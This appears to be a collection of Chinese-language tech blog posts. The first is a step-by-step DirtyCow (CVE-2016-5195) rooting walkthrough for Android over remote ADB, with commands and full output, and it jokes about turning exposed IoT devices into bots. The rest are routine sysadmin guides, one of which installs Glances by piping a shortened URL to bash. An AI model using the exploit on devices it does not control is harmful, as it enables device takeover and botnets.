利用 DirtyCow(CVE-2016-5195) 攻擊 Android 裝置


髒牛 DirtyCow(CVE-2016-5195) 是一個威力十足的 Linux 提權弱點,雖然發布時間已有些時日,大多數主機也都修補了這個弱點,但還有一種類型的設備十分容易受到這個弱點的影響,那就是 Android 設備。

在 Android 手機上, DirtyCow 主要作為 root 手機的一種手段,然而 Android 不只用於手機,實際上也用於嵌入式裝置 (IoT/IP Cam 之類的),這些設備使用 Android 加速其開發與部屬能力,同時間也是較少上 Kernel Patch 的設備,只要找到了 ADB(Android Debug Bridge) 或 Command Injection 之類的弱點,整台設備端去當 Bot 不是夢 (x

DirtyCow 的 Payload 可以透過 NDK (Native Development Kit) 編譯,接著遞送到 Android 設備上。

這邊介紹一個 Git Project – CVE-2016-5195 (dirtycow/dirtyc0w) proof of concept for Android,這個專案是一個在 Android 上利用 DirtyCow 的概念驗證,使用步驟如下

1. 準備一個已經安裝 ADB 與 NDK 的 Linux 電腦

2. 下載專案

cd /tmp

git clone https://github.com/timwr/CVE-2016-5195.git

cd /tmp/CVE-2016-5195

3. ADB 連接裝置 (此處使用 10.10.10.10:5555 為例)

adb connect 10.10.10.10:5555
adb devices

若連接成功會顯示下列訊息

List of devices attached
10.10.10.10:5555    device

4. 編譯並利用弱點

make root

執行結果如下

ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_ABI=arm64-v8a APP_PLATFORM=android-22
make[1]: Entering directory '/keniver/tmp/CVE-2016-5195'
[arm64-v8a] Install        : dirtycow => libs/arm64-v8a/dirtycow
[arm64-v8a] Install        : run-as => libs/arm64-v8a/run-as
make[1]: Leaving directory '/keniver/tmp/CVE-2016-5195'
adb push libs/arm64-v8a/dirtycow /data/local/tmp/dcow
libs/arm64-v8a/dirtycow: 1 file pushed. 0.4 MB/s (14320 bytes in 0.031s)
adb shell 'chmod 777 /data/local/tmp/dcow'
adb shell 'chmod 777 /data/local/tmp/dcow'
adb push libs/arm64-v8a/run-as /data/local/tmp/run-as
libs/arm64-v8a/run-as: 1 file pushed. 0.6 MB/s (10224 bytes in 0.017s)
adb shell '/data/local/tmp/dcow /data/local/tmp/run-as /system/bin/run-as'
WARNING: linker: /data/local/tmp/dcow: unused DT entry: type 0x6ffffffe arg 0xa38
WARNING: linker: /data/local/tmp/dcow: unused DT entry: type 0x6fffffff arg 0x1
dcow /data/local/tmp/run-as /system/bin/run-as
warning: new file size (10224) and destination file size (9768) differ

corruption?

[*] size 10224
[*] mmap 0x7faac2b000
[*] currently 0x7faac2b000=10102464c457f
[*] using /proc/self/mem method
[*] madvise = 0x7faac2b000 10224
[*] madvise = 0 16777216
[*] /proc/self/mem 447381792 43758
[*] exploited 0 0x7faac2b000=10102464c457f

5. 提權成為 root

透過 adb shell 執行 id ,確認自己目前的帳號與群組

adb shell id

結果如下

uid=2000(shell) gid=2000(shell) groups=1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats) context=u:r:shell:s0

執行下列指令進行提權

adb shell /system/bin/run-as

結果如下

WARNING: linker: /system/bin/run-as: unused DT entry: type 0x6ffffffe arg 0x788
WARNING: linker: /system/bin/run-as: unused DT entry: type 0x6fffffff arg 0x2
uid /system/bin/run-as 2000
uid 0
0 u:r:runas:s0
context 0 u:r:shell:s0
root@msm8952_64:/ # id
id
uid=0(root) gid=0(root) groups=1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats) context=u:r:shell:s0

變成 root 啦~

障礙排除

1. error: no devices/emulators found

adb 沒有連接到任何裝置,可以通過 adb devices 檢查一下有無正常連線

2. make: ndk-build: No such file or directory

電腦尚未安裝 NDK 或者 沒有正確設定 NDK 到 PATH

PHP 7.0 下安裝 phpLDAPadmin 發生錯誤的修正方法

在稍具規模的網路環境中, 網管時常選用 LDAP 來進行帳號的統整管理, 一方面提供管理便利度, 另一方面使用者也不必因為不同系統而記憶不同帳號, phpLDAPadmin 是一套常見的 LDAP 管理介面, 但 phpLDAPadmin 已經很久沒有更新了, 若想要安裝在 PHP 5.6 以上, 甚至是最新版的 PHP 7 的環境中, 是無法順利安裝的, 因此我們需要做些修正.

Session 相關錯誤

打開 index.php 時出現下列錯誤:

  • Undefined variable: _SESSION in …. on line 379
  • Fatal error: Uncaught Error: Call to a member function getValue() on null in … on line 379

導致這個錯誤的主要原因是因為 phpLDAPadmin 需要使用 session, 在 PHP 中若要使用 session, 需要先執行 session_start() 這個函數, 但不知道為什麼 phpLDAPadmin 並沒有這麼做, 因此要解決這個問題, 一種方法是自己找正確的地方加上 session_start(), 另一種方法則是啟動 auto_start 這個特性, 這邊介紹如何啟動 auto_start 這個特性

編輯 php.ini 中的 session.auto_start

session.auto_start = 0

修改為

session.auto_start = 1

password_hash 相關錯誤

修正完 session 的問題後, 畫面上還有一個關於 password_hash 的錯誤

  • Fatal error: Cannot redeclare password_hash() in … on line 2236

造成這個錯誤的原因在於 php 5.5 以後內建了 password_hash 這個函數, 導致內建的 password_hash 與 phpLDAPadmin 自己的 password_hash 發生衝突, 因此只要將 phpLDAPadmin 的 password_hash 名稱替換成別的名稱就可以避開這個問題了

具體的解決辦法如下

對檔案打 patch

wget https://raw.githubusercontent.com/osixia/docker-phpLDAPadmin/stable/image/service/phpldapadmin/assets/php5.5.patch
patch -p1 -d ./phpldapadmin < php5.5.patch

修改 TemplateRender.php

sed -i "s/password_hash/password_hash_custom/g" ./phpldapadmin/lib/TemplateRender.php

Mac 的使用者會遇到 invalid command code W 這個錯誤, 具體原因與解決辦法請參考 MAC 下執行 sed 指令出現錯誤: invalid command code W

記得把指令中的 ./phpldapadmin 替換成 phpldapadmin 的實際位置

MAC 下執行 sed 指令出現錯誤: invalid command code W

sed 是 Linux/Mac 下非常好用的文件內容替換工具, sed -i "s/old/new/g" /path/to/file 可以讓我們輕鬆的將 /path/to/file 中的 old 都替換成 new, 但最近發現 sed 在 mac 與 Linux 上的行為有些許不同, 本來在 Linux 上能夠正常運作的指令在 MAC 上卻無法運作, sed 執行時出現錯誤 invalid command code W

MAC 上的 sed 手冊對於 -i 的描述:

-i extension
    Edit files in-place, saving backups with the specified extension.  If a zero-length extension is given, no backup will be saved.  It is not recommended to give a zero-
    length extension when in-place editing files, as you risk corruption or partial content in situations where disk space is exhausted, etc.

而 Linux 上的 sed 手冊對於 -i 的描述:

-i[SUFFIX], --in-place[=SUFFIX]
    edit files in place (makes backup if SUFFIX supplied)

根據手冊的中的描述, sed 在帶有 -i 參數時, 會針對處理的檔案進行備份, 而 -i 參數接受一個字串作為備份檔案的後綴( ex: test.php => test_ext.php ), 這個後綴在 Linux 下是可選, Mac 下是必要的, 雖然 Mac 下的 sed 可以給空字串來忽略這個選項, 但備份很重要, 備份一下啦!!

在知道差異後, 我們只要將後綴加上去就可以解決這個問題了!

Linux:
sed -i "s/old/new/g" /path/to/file

Mac:
sed -i "" "s/old/new/g" /path/to/file

Linux 設定修改時區

Linux 上時間分成兩個部分, Universal Time 與 Local Time, Universal Time 一直會維持為 UTC 時間, 而 Local Time 則是使用者所在的時區時間, 通常我們在安裝 Linux 的時候就會完成時區的設定, 但是在 Cloud 上預設都維持在 UTC +0 時區, 當我們機房跨足不同時區時可能會有同步的問題, 因此正確的設定時區是非常重要的.

檢查時區

當主機還沒有設定時區時, 輸入指令 date 系統返回的時間會是 UTC, 若主機已經有設定時區 UTC 會變成其他時區

$ date
Sat Jun 17 15:28:00 UTC 2017

設定時區

我們可以透過以下指令進行時區設定

sudo dpkg-reconfigure tzdata

系統會跳出視窗要求你選擇所在的地理區

接著選擇時區

當設定完成後, 系統會顯示目前的設定

Current default time zone: 'Asia/Taipei'
Local time is now:      Sat Jun 17 23:51:12 CST 2017.
Universal Time is now:  Sat Jun 17 15:51:12 UTC 2017.

指令 date 所顯示的時間變成帶有時區的時間了!

Sat Jun 17 23:51:55 CST 2017

這樣一來就完成時區的設定了, 若要修改時區只要把上面的步驟在做一次就可以了.

Glances – 超強大資源使用監視工具

只要說到伺服器的資源監視想到的不外乎就是 top 與 進階版的htop, 今天要介紹一個更厲害的資源使用監視工具 Glances.

Glances 是一套使用 python 構成的資源監視工具, 除了基本的資源監視外還提供了 Web 介面以及遠端查看的功能.

Requirements

Python > 2.7, >= 3.3
psutil>=2.0.0

Installation

使用 pip 安裝

pip install glances

使用 shell script 安裝

curl -L https://bit.ly/glances | /bin/bash

Usage

基本使用

就跟 top 一樣, 直接在畫面上顯示資訊

glances

啟動 Web 介面

Glances 可以提供 web 介面, 但在使用前要補安裝相依套件 bootle

pip install bottle

接著啟動

glances -w

接著就可以使用喜歡的瀏覽器訪問 http://127.0.0.1:61208

遠端模式

server 模式

glances -s

client 連接

glances -c ip

Access Control

預設模式下 Glances 是免帳密驗證的, 但是為了安全起見我們還是設定一組帳號進行驗證
加入驗證的方法很簡單, 只需要帶入參數 --username--password

glances -s --username  --password

Glances 便會在啟動過程確認要設置的帳號密碼

Define the Glances server username: keniver
Define the Glances server password (keniver username):
Password (confirm):

最後, Glances 會詢問是否紀錄帳號與密碼, 之後啟動就不會再詢問了

Do you want to save the password? [Yes/No]:

當我們為 Glances 啟動驗證後, 我們連線時需要帶入 --username , --password, 並輸入先前設定的密碼才能連線

在 Debian 8 上安裝 Nginx + PHP7-FPM

Nginx 在 Web Server 領域有著極為優異的表現, 如果搭配 PHP-FPM 可以讓網站的速度更上一層樓, 本篇文章將與各位分享如何在 Debian 8 上安裝 Nginx 與 PHP-FPM

環境資訊

Debian 8 (Jessie) 請注意OS版本, 本文針對 Debian 8 做說明
Nginx 1.6.2
PHP 7.0

安裝 nginx

sudo apt-get install nginx -y

安裝 PHP7-FPM

本文章為濃縮版, 指令細節可以參考 在 Debian 8 (Jessie) 上安裝 Apache + PHP 7

echo "deb http://mirrors.teraren.com/dotdeb/ stable all" | sudo tee --append /etc/apt/sources.list
echo "deb-src http://mirrors.teraren.com/dotdeb/ stable all" | sudo tee --append /etc/apt/sources.list
wget -qO - https://www.dotdeb.org/dotdeb.gpg | sudo apt-key add -
sudo apt-get update && sudo apt-get upgrade -y
sudo apt-get install php7.0-fpm php7.0-common -y
sudo apt-get install php7.0-zip php7.0-mysql php7.0-mcrypt php7.0-mbstring php7.0-json php7.0-imagick php7.0-gmp php7.0-curl php7.0-dom php7.0-gd -y

調整 PHP-FPM 設定

我們必須調整 php 的設定, 使得 php 更加安全

sudo vim /etc/php/7.0/fpm/php.ini

將本來由 ;註解掉的設定

;cgi.fix_pathinfo=1

修改為

cgi.fix_pathinfo=0

重新啟動 PHP-FPM

sudo systemctl restart php7.0-fpm

連接 Nginx 與 PHP

sudo vim /etc/nginx/sites-available/default

將下方設定檔寫入其中

server {
    listen 80 default_server;
    listen [::]:80 default_server;

    root /var/www/html;
    index index.html index.htm index.php index.nginx-debian.html;

    server_name _;

    location / {
        try_files $uri $uri/ =404;
    }

        location ~ \.php$ {
        include snippets/fastcgi-php.conf;
        fastcgi_pass unix:/var/run/php/php7.0-fpm.sock;
    }
}

重新啟動 Nginx

sudo systemctl restart nginx

測試

將測試用檔案寫入 Nginx 預設目錄

echo "<?php phpinfo();" | sudo tee /var/www/html/info.php

打開瀏覽器前往 http://你的IP/info.php


當你看到這個畫面就代表PHP成功運行, 紅框的部分顯示 FPM/FastCGI 代表我們的 PHP 確實是使用 PHP-FPM 模式運行

由於 phpinfo 會透露很多詳細資訊, 為了安全起見, 欣賞完畢要順手把 info.php 刪除

sudo rm /var/www/html/info.php

在 Debian 8 上安裝 MariaDB 10.1

MariaDB 是 MySQL 的移植版本, 不僅保有 MySQL 原本的功能, 也新增很多 MariaDB 獨有的功能, 使用上相容於 MySQL 函數庫以及相關工具, 是非常棒的MySQL替代品, 本文章將介紹如何透過 apt-get 將 MariaDB 10.1 安裝在我們的 Debian 8 主機上

新增 MariaDB 官方套件庫

sudo apt-get install software-properties-common -y
sudo apt-key adv --recv-keys --keyserver keyserver.ubuntu.com 0xcbcb082a1bb943db
sudo add-apt-repository 'deb [arch=amd64,i386,ppc64el] http://ftp.ubuntu-tw.org/mirror/mariadb/repo/10.1/debian jessie main'

在 IPv6 的環境下, 第二行指令可能會連線失敗, 改用 IPv4 連線就可以解決這個問題

更新套件庫

sudo apt-get update

安裝 MariaDB

sudo apt-get install mariadb-server -y

設定 MariaDB Root 密碼

安裝過程會詢問 root 密碼, 連續輸入兩次即可

啟動 MariaDB

sudo service mysql start

強化 MariaDB 安全性

mysql_secure_installation

依照提示回答下列問題

Enter current password for root (enter for none): 輸入 root 密碼

Change the root password? [Y/n] n
安裝時已經設定過 root 密碼, 因此無須更換 root 密碼

Remove anonymous users? [Y/n] Y
移除匿名使用者

Disallow root login remotely? [Y/n] Y
禁止 root 遠端登入

Remove test database and access to it? [Y/n] Y
移除多餘不必要的資料庫

Reload privilege tables now? [Y/n] Y
立刻重新載入權限表

測試

我們可以透過以下指令嘗試連接資料庫

mysql -u root -p

輸入 root 密碼後 按下 enter, 若畫面出現 Welcome to the MariaDB monitor. Commands end with ; or \g. 就代表我們成功安裝了 MariaDB 到我們的 Debian 主機上

控制 MariaDB

啟動

sudo service mysql start

停止

sudo service mysql stop

重新啟動

sudo service mysql restart